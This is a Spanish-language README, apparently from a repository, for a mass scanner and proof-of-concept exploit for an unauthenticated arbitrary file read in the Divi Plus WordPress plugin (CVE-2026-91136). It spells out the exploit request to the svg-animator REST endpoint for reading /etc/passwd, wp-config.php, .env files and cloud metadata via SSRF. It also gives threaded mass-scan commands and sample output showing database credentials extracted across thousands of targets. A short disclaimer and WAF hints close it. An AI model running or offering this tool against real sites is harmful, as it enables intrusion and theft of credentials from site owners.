
Escáner masivo y exploit PoC para CVE-2026-91136, una lectura arbitraria de archivos sin autenticación en el plugin de WordPress Divi Plus a través del parámetro REST svg_image.
Divi Plus (Elicus) — plugin de WordPress ≤ 2.4.0 — lectura arbitraria de archivos sin autenticación a través del parámetro svg_image del espacio de nombres REST elicus/v1.
| Atributo | Detalles |
|---|---|
| ID de CVE | CVE-2026-91136 |
| Cadena | svg_image → file_get_contents() (respaldo wp_remote_get) → JSON html |
| Severidad | 🟠 ALTA (CVSS 7.5) |
| Objetivo | Divi Plus (Divi Extended / Elicus) |
| Afectados | ≤ 2.4.0 |
| Corregido | 2.4.1 |
| Autenticación requerida | Ninguna |
SVGAnimatorController::index_permission devuelve true incondicionalmente, por lo que el endpoint /wp-json/elicus/v1/dipl-modules/svg-animator es accesible sin autenticación. La entrada svg_image solo pasa por sanitize_text_field() y esc_html() — que no restringen rutas del sistema de archivos, el wrapper de flujo file:// ni URLs remotas — antes de ser pasada a file_get_contents() (con un respaldo wp_remote_get()). El cuerpo de la respuesta sin procesar se devuelve en el campo JSON html.
GET /wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/etc/passwd
│
▼
index_permission() = true (no auth)
│
▼
svg_image -> sanitize_text_field/esc_html (no path restriction)
│
▼
file_get_contents() -> fallback wp_remote_get()
│
▼
{"html":"root:x:0:0:root:/root:/bin/bash\n..."}
Impacto: lectura de /etc/passwd, wp-config.php (credenciales de BD + sales de autenticación), metadatos de la nube mediante SSRF (169.254.169.254 / GCP / Azure / DO / OCI), .env y cualquier otro archivo que el usuario web pueda leer.
# single target
python CVE-2026-91136.py -u https://target.com
# mass scan
python CVE-2026-91136.py -i targets.txt -t 20 -o results
# interactive (banner -> targets -> threads)
python CVE-2026-91136.py
| Opción | Descripción |
|---|---|
-u/--url URL | Objetivo único |
-i/--input FILE | Archivo de objetivos, uno por línea (se permiten comentarios con #) |
-t/--threads N | Hilos (se solicitan de forma interactiva si se omiten) |
--timeout N | Tiempo de espera de la solicitud (predeterminado 12) |
-q/--quiet | Mostrar solo los aciertos; el resto va al contador en línea |
-v/--verbose | Mostrar una línea por objetivo |
-o/--output FILE | Escribir resultados en JSONL + FILE.hits.txt |
[OK] https://target.com ✓ 1 ✗ 0
passwd: root:x:0:0:root:/root:/bin/bash
link: https://target.com/wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/etc/passwd
wp-config: /var/www/html/wp-config.php
link: https://target.com/wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/var/www/html/wp-config.php
DB_NAME=wordpress
DB_USER=wp_user
DB_PASSWORD=***
DB_HOST=localhost
✓ OK: 1 ✗ FAIL: 2979 total: 2980
[████░░░░] 42% (1250/2980) ✓ 3 ✗ 1247results.hits.txt — solo objetivos confirmados como vulnerablessvg-animator + versión mediante los assets de divi-plus ?ver=wp-config.php: candidatos fijos + directorios reales /home/<user>/ extraídos de /etc/passwd├── CVE-2026-91136.py # mass scanner + exploit
├── README.md
├── LICENSE
└── .gitignore
╔══════════════════════════════════════════════════════════════════╗
║ LEGAL DISCLAIMER ║
╠══════════════════════════════════════════════════════════════════╣
║ This tool is provided for EDUCATIONAL and AUTHORIZED ║
║ SECURITY TESTING purposes only. ║
║ Only use on systems you own or have explicit permission. ║
║ The author is NOT responsible for any misuse or damage. ║
╚══════════════════════════════════════════════════════════════════╝
GET/POST /wp-json/elicus/v1/dipl-modules/svg-animator en el WAFsvg_image que contengan file://, /etc/ o IPs de metadatos